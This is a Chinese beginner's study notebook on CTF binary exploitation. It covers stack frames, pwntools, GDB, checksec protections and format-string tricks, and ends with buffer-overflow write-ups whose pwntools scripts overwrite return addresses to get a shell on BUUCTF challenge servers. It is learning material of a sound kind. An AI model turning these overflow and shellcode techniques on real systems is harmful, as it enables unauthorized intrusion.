pwn初学笔记

师傅们的学习博客:

https://blog.csdn.net/qq_42880719/article/details/119187995?spm=1001.2014.3001.5501

https://ctf-wiki.org/

https://www.yuque.com/cyberangel

https://www.yuque.com/hxfqg9/bin/zzg02e#62Pxt

靶场:
https://buuoj.cn/challenges
https://ctf.show/challenges
https://pwnable.tw/challenge/
http://pwnable.kr/play.php
https://bamboofox.cs.nctu.edu.tw/courses

基本概念

汇编知识

ESP:栈指针寄存器(extended stack pointer),其内存放着一个指针,该指针永远指向系统栈最上面一个栈帧的栈顶。

EBP:基址指针寄存器(extended base pointer),其内存放着一个指针,该指针永远指向系统栈最上面一个栈帧的底部。

一般情况下C写的程序都是cdecl call

在函数调用的时候 call可以看作pop eip,jmp func

在函数内部还有一个push ebp

所以在覆盖到栈上保存的ret返回地址前还有一个ebp(rbp)需要覆盖 这个就是多出来的4(8)个字节

esp始终指向栈顶,ebp是在堆栈中寻址用的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
push       ebp            ;ebp入栈 
mov     ebp, esp       ;因为esp是堆栈指针,无法暂借使用,所以得用ebp来存取堆栈 
sub     esp, 4*5        ;下面的wsprintf一共使用了5个参数,每个参数占用4个字节,所以要入栈4*5个字节 
push    1111 
push    2222 
push    3333 
push    offset szFormat 
push    offset szOut 
call     wsprintf         ;调用wsprintf 
add     esp, 4*5        ;堆栈使用完毕,“还”回4*5个字节给系统 
… 
mov    esp, ebp        ;恢复esp的值 
pop    ebp           ;ebp出栈 
ret 

找到了,ebp-xxxh是数组在栈中的高度,也就是大小。esp+xxxh是数组在栈中的位置,是数组到esp的距离

如果是输入char 的话,就覆盖满char

然后覆盖ebp

然后修改返回地址

跳转到你想要跳的地方

函数完整的调用,返回过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
调用者:
push 调用参数
call 函数(push eip ;jmp swap)

被调用者:
push ebp (存调用者的ebp)
mov ebp,esp (开辟栈空间)
sub esp,4 # sub esp,4 的4不是定值,看需求

被调用者
leave(mov esp,ebp ; pop ebp)
ret (pop eip)

调用者
add esp,xxx (将被调用者的参数弹出,平栈)


pwntools使用

学习网址:

https://www.jianshu.com/p/6e528b33e37a

https://zhuanlan.zhihu.com/p/83373740

连接方式

1
2
3
4
# 第一种连接方式,通过ip和port去连接
conn = remote('127.0.0.1', 8888)
# 第二种连接方式,通过ssh连接
shell = ssh(host='192.168.14.144', user='root', port=2222, password='123456')

IO模块:这个比较容易跟zio搞混,记住zio是read、write,pwn是recv、send

学习网址:

https://blog.csdn.net/weixin_45556441/article/details/114166906

一、context
context 是 pwntools 用来设置环境的功能。在很多时候,由于二进制文件的情况不同,我们可能需要进行一些环境设置才能够正常运行exp,比如有一些需要进行汇编,但是32的汇编和64的汇编不同,如果不设置context会导致一些问题。

一般来说我们设置context只需要简单的一句话:

context(os=’linux’, arch=’amd64’, log_level=’debug’)

或者 context(os=’linux’, arch=’amd64’)

这句话的意思是:

  1. os设置系统为linux系统,在完成ctf题目的时候,大多数pwn题目的系统都是linux
  2. arch设置架构为amd64,可以简单的认为设置为64位的模式,对应的32位模式是’i386’
  3. log_level设置日志输出的等级为debug,这句话在调试的时候一般会设置,这样pwntools会将完整的io过程都打印下来,使得调试更加方便,可以避免在完成CTF题目时出现一些和IO相关的错误。
    ————————————————
    1
    2
    3
    4
    二、汇编与shellcode
    有的时候我们需要在写exp的时候用到简单的shellcode,pwntools提供了对简单的shellcode的支持。
    首先,常用的,也是最简单的shellcode,即调用/bin/sh

语句: shellcode = asm(shellcraft.sh())

print(asm(shellcraft.sh())) # 打印出汇编后的shellcode
1
注意,由于各个平台,特别是32位和64位的shellcode不一样,所以最好先设置context。asm也是架构相关,所以一定要先设置context,避免一些意想不到的错误。

使用方法即:

context(os=’linux’, arch=’amd64(i386)’)

shellcode = asm(shellcraft.sh())

p.sendline(shellcode)

发送和接受数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
send(data): 发送数据
sendline(data) : 发送一行数据,相当于在末尾加\n
recv(numb=4096, timeout=default) : 给出接收字节数,timeout指定超时
recvuntil(delims, drop=False) : 接收到delims的pattern
(以下可以看作until的特例)
recvline(keepends=True) : 接收到\n,keepends指定保留\n
recvall() : 接收到EOF
recvrepeat(timeout=default) : 接收到EOF或timeout
interactive() : 与shell交互
--------------------------------------------------------------
conn.send(data) #发送数据
conn.sendline(data) #发送一行数据,相当于在数据后面加\n
#接收数据,numb制定接收的字节,timeout指定超时
conn.recv(numb = 2048, timeout = default)
#接受一行数据,keepends为是否保留行尾的\n
conn.recvline(keepends=True)
#接受数据直到我们设置的标志出现
conn.recvuntil("Hello,World\n",drop=fasle)
conn.recvall() #一直接收直到 EOF
conn.recvrepeat(timeout = default) #持续接受直到EOF或timeout
#直接进行交互,相当于回到shell的模式,在取得shell之后使用
conn.interactive()

ELF模块

获取基地址、获取函数地址(基于符号)、获取函数got地址、获取函数plt地址

1
2
3
4
5
6
7
8
9
e = ELF('/bin/cat')
print hex(e.address) # 文件装载的基地址
0x400000
print hex(e.symbols['write']) # 函数地址
0x401680
print hex(e.got['write']) # GOT表的地址
0x60b070
print hex(e.plt['write']) # PLT的地址
0x401680

汇编与反汇编

1
2
3
4
>>> asm('mov eax, 0')   #汇编
'\xb8\x00\x00\x00\x00'
>>> disasm('\xb8\x0b\x00\x00\x00') #反汇编
' 0: b8 0b 00 00 00 mov eax,0xb'

shellcode生成

pwnlib.shellcraft模块包含生成shell代码的函数。
其中的子模块声明结构,比如

  • ARM架构: shellcraft.arm
  • AMD64架构: shellcraft.amd64
  • Intel 80386架构: shellcraft.i386
  • 通用: shellcraft.common

可以通过context设置架构,然后生成shellcode

1
2
context(arch='i386', os='linux')
shellcode = asm(shellcraft.sh())

调用gdb调试 在python文件中直接设置断点,当运行到该位置之后就会断下

1
2
3
from pwn import *
p = process('./c')
gdb.attach(p)

解题常用:

1
context.arch = 'amd64'   //设置架构context.log_level = 'debug' //显示log详细信息libc = ELF('./libc-2.24.so')  //加载库文件

GDB操作

学习网址:

https://blog.csdn.net/chen1415886044/article/details/105094688/

1
gcc -g main.c -o main

在这里插入图片描述

设置断电

break [行号]

b [函数名]

break test.c:6 if num>0

当在num>0时,程序将会在第6行断住。

查看断点

info breakpoints

删除断点

delete breakpoint

比如 delete 1

checksec含义

学习网址:

https://www.jianshu.com/p/6e528b33e37a

image-20210722184219109

防护技术:

RELRO:在Linux系统安全领域数据可以写的存储区就会是攻击的目标,尤其是存储函数指针的区域,尽量减少可写的存储区域可使安全系数提高。GCC, GNU linker以及Glibc-dynamic linker一起配合实现了一种叫做relro的技术Relocation Read Only, 重定向只读,实现就是由linker指定binary的一块经过dynamic linker处理过 relocation之后的区域为只读。(参考RELRO技术细节

Stack: 栈溢出检查,用Canary金丝雀值是否变化来检测,Canary found表示开启。

金丝雀最早指的是矿工曾利用金丝雀来确认是否有气体泄漏,如果金丝雀因为气体泄漏而中毒死亡,可以给矿工预警。这里是一种缓冲区溢出攻击缓解手段:启用栈保护后,函数开始执行的时候会先往栈里插入cookie信息,当函数真正返回的时候会验证cookie信息是否合法,如果不合法就停止程序运行。攻击者在覆盖返回地址的时候往往也会将cookie信息给覆盖掉,导致栈保护检查失败而阻止shellcode的执行。在Linux将cookie信息称为Canary。

NX: No Execute,栈不可执行,也就是windows上的DEP。

image-20210722184605404

DEP

分析缓冲区溢出攻击,其根源在于现代计算机对数据和代码没有明确区分这一先天缺陷,就目前来看重新去设计计算机体系结构基本上是不可能的,我们只能靠向前兼容的修补来减少溢出带来的损害,DEP就是用来弥补计算机对数据和代码混淆这一天然缺陷的。

DEP的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。DEP的主要作用是阻止数据页(如默认的堆页、各种堆栈页以及内存池页)执行代码。硬件DEP需要CPU的支持,AMD和Intel都为此做了设计,AMD称之为No-Execute Page-Protection(NX),Intel称之为Execute Disable Bit(XD)

Linux称为 NX 与 DEP原理相同

PIE: position-independent executables, 位置无关的可执行文件,也就是常说的ASLR(Address space layout randomization) 地址随机化,程序每次启动基址都随机。


学习网址:http://blog.wjhwjhn.com/archives/45/

image-20210722184219109

1.Relro
Relocation Read Only, 重定位表只读。重定位表即.got 和.plt 两个表。
NO RELRO: 可以写.dynamic,现在的软件不常见,如果是这个选项很有可能是一种对考点的暗示。
Partial RELRO: .dynamic 只读,比较常见,可以修改 got 表内容。
Full RELRO:无法利用 GOT 表进行攻击。

2.Stack

一般由 Canary (金丝雀) 来保护,金丝雀原来是石油工人用来判断气体是否有毒。而应用于在栈保护上则是在初始化一个栈帧时在栈底(stack overflow 发生的高位区域的尾部)设置一个随机的 canary 值,当函数返回之时检测 canary 的值是否经过了改变,以此来判断 stack/buffer overflow 是否发生,若改变则说明栈溢出发生,程序触发 stack_chk_fail 函数退出程序。 注意:同一个程序的 canary 的值都是一样的,而且子进程也是一样的。
因此我们需要获取 Canary 的值,或者防止触发 stack_chk_fail 函数。
因为 Canary 的值具有不可预测性,所以需要动态的方法进行泄露,一般常用的方法就是通过格式化字符串漏洞来输出 Canary 的值,或者是用 [栈溢出,输出栈内容] 的形式来输出 Canary
但是由于 Canary 的设计者考虑到了 Canary 被误泄露的可能性,因此强制规定 Canary 的最后两位必须是 00。所以在输出的时候会被 00 截断,而我们只需要多覆盖一位,把 \x00 给覆盖掉,然后读取的时候再替换成 \x00 即可。

我的理解:通过调试定位到 Canary 的地址,然后利用 %[OffSet]$x 来读取数据。**%[OffSet]** 表示往后移动 [OffSet] 个参数。
而且字符串漏洞泄露是可以利用 %n 来写入数据的,写入的数据为已经输出的字符串。

所以可以配合 printf (“p32 (地址)%[OffSet]% n”); [OffSet] 是指向 p32 (地址) 的位置,来达到写指定的 (地址) 的目的,这个例子应该写入的是一字节的 0x4。
而且当我们需要要对一个地址写入一个很大的数,例如 0x12345678 时,我们一般不直接写入,而是利用 h 或 hh,分若干次写入。

% d 用于读取 10 进制数值 % x 用于读取 16 进制数值
% s 用于读取字符串值 即泄露任意地址信息 (传入指针,访问指针位置的内容,到 x0 结束)
% n 用于把前面已经打印的长度写入某个内存地址(把栈的地址当作指针,向它指向的地址写)
% n 写入 4 个字节,% hn 写入 2 个字节,% hhn 写入 1 个字节。

3.NX

Non-Executable Memory,不可执行内存。
了解 Linux 的都知道其文件有三种属性,即 rwx,而 NX 即没有 x 属性。
如果没有 w 属性,我们就不能向内存单元中写入数据,如果没有 x 属性,写入的 shellcode 就无法执行。
所以,我们此时应该使用其他方法来 pwn 掉程序,其中最常见的方法为 ROP (Return-Oriented Programming 返回导向编程),利用栈溢出在栈上布置地址,每个内存地址对应一个 gadget,利用 ret 等指令进行衔接来执行某项功能,最终达到 pwn 掉程序的目的。
我的理解,不能在栈上直接写 Shellcode 并且执行,但是可以 ROP (即通过 ret 的时候转到的地址来控制程序运行权限)。

栈溢出

buuctf rip

用file 和 checksec –file pwn1

image-20210722184219109

没有任何防护技术

用ida打开看看汇编代码

image-20210722192745826

image-20210722192811082

image-20210722192756049

image-20210722192817599

在看看s有多大(s为局部变量)

image-20210722193433038

0F 到 01 15个

**注意到 后面还有 db 8 dup(?) **

**db: 定义字节类型变量的伪指令 **

**dup(): 重复定义圆括号中指定的初值,次数由前面的数值决定 **

?: 只分配存储空间,不指定初值

动调查看偏移

image-20210722203847947

401186

上脚本

1
from pwn import *s = remote("node4.buuoj.cn",28466)buf = b'a'*15  + p64(0x401186)s.sendline(buf)s.interactive()反弹shell得到flag

但是如果考虑堆栈平衡

1
from pwn import *s = remote("node4.buuoj.cn",28466)payload = b'a' * 23 + p64(0x401186 + 1)s.sendline(payload)s.interactive()

我们还需要从栈里出来

1
from pwn import *s = remote("node4.buuoj.cn",28466)buf = b'a'*15 + b'b'*8 + p64(0x401198) + p64(0x401186)s.sendline(buf)s.interactive()#'a' 前面的 b是为了防止python3运行时出现以下错误

ciscn_2019_n_1

用ida查看

image-20210723194039329

这都是在主函数里不用考虑覆盖rbp的问题,就不用管,直接上脚本

1
from pwn import *r = remote("node4.buuoj.cn",26353)payload = b'a'* 44 +  p64(0x41348000)r.sendline(payload)r.interactive()

pwn1_sctf_2016

image-20210726100333022

i386-32

用ida打开,查看关键函数

image-20210725202445260

fget(s,32,edata)限制了输入的字符串的长度为32,无法常规溢出

接着看看函数后面

1
std::allocatorallocator类详解:https://blog.csdn.net/fengbingchun/article/details/78943527这就相当于分配内存

发现题目将输入的字符串中的”I”转为”you”,在通过strcpy赋给s,可以通过输入多个”I”达到栈溢出的目的,题目给s分配了0x3c的空间,那就是需要20个”I”,看看需要溢出到哪

image-20210726104903528

上脚本

1
from pwn import *r = remote("node4.buuoj.cn",25135)payload = b'I'* 20 + b"a"*4 + p32(0x8048F0D)r.sendline(payload)r.interactive()

EasyCTF 2017-doubly_dangerous

用checksec查看

image-20210809111822304

用ida打开简单分析

image-20210809112141033

直接利用get溢出到give_flag()失败

1
from pwn import *setting = 0if setting == 0:    r = process("./doubly_dangerous")else:    r = remote("",)s = 0x08048665payload =  'a'*64 + p32(s)r.recvuntil("Give me a string:")r.sendline(payload)r.interactive()

换一种思路,溢出到v5那把v5改成11.28125

先看一下主函数

image-20210809112745640

浮点指令

1
fld 类似于 pushfstp 类似于 popfadd 类似于 addfucomip 类似于 cmp

image-20210809112823791

image-20210809112840882

浮点数是大端存储,所以需要将v5覆盖为0x41348000

现在来找覆盖点

gdb运行输入aaaa

image-20210809113026461

存放s[64]的位置是0xffffcefc

存v5的位置是0xffffcf3c

相减得到距离为0x40

那就是上脚本了

1
from pwn import *setting = 0if setting == 0:    r = process("./doubly_dangerous")else:    r = remote("",)s = 0x41348000payload =  'a'*0x40 + p32(s)r.recvuntil("Give me a string:")r.sendline(payload)r.interactive()